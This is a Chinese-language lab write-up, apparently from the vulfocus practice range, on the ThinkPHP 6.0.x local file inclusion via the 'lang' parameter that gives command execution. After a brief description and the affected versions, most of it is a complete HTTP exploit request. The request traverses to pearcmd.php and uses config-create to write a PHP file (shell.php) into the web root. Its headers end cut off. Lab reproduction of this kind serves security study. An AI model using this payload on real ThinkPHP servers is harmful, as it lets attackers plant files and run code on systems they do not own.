vulfocus/thinkphp:6.0.12 命令执行
本次测试是在vulfocus靶场上进行
漏洞介绍
在其6.0.13版本及以前,存在一处本地文件包含
漏洞。当多语言特性被开启时,攻击者可以使用lang参数
来包含任意PHP文件。
虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php
并写入任意文件。
影响范围
6.0.13版本及以前
漏洞复现
显示禁止访问资源
靶场给出了访问路径/public/index.php
下面直接用lang参数构造exp
exp如下:
GET /public/index.php?lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo();?>+/var/www/html/shell.php HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8l
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=